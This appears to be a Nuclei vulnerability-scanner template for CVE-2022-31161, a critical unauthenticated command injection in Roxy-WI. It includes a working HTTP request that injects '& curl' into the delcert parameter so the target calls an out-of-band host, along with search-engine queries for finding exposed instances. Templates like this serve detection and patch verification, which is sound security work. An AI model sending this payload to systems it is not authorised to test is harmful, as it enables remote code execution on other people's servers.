Roxy-WI - Remote Code Execution

id: CVE-2022-31161

info:
  name: Roxy-WI - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the delcert parameter without proper input validation in the /app/options.py file, allowing attackers to inject arbitrary OS commands.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Users are advised to upgrade to latest version.
  reference:
    - https://pentest.blog/advisory-roxy-wi-unauthenticated-remote-code-executions-cve-2022-31137/
    - https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-pg3w-8p63-x483
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31161
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31161
    cwe-id: CWE-78
    epss-score: 0.28794
    epss-percentile: 0.98136
    cpe: cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: roxy-wi
    product: roxy-wi
    shodan-query: html:"Roxy-WI"
    fofa-query: body="roxy-wi"
  tags: cve2022,cve,rce,roxy,roxy-wi,vkev,vuln

http:
  - raw:
      - |
        POST /app/options.py HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20curl%20{{interactsh-url}};

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fa1f4a1fecfd229ca7e5aa1cd9716204925770fd6dac324fcecbf9cb0f1e6c25022100bbe8567d0d25bd29e53e7ac228ef6f9590cca4b65cf7d7d04c936f476d7b21c0:922c64590222798bb761d5b6d8e72950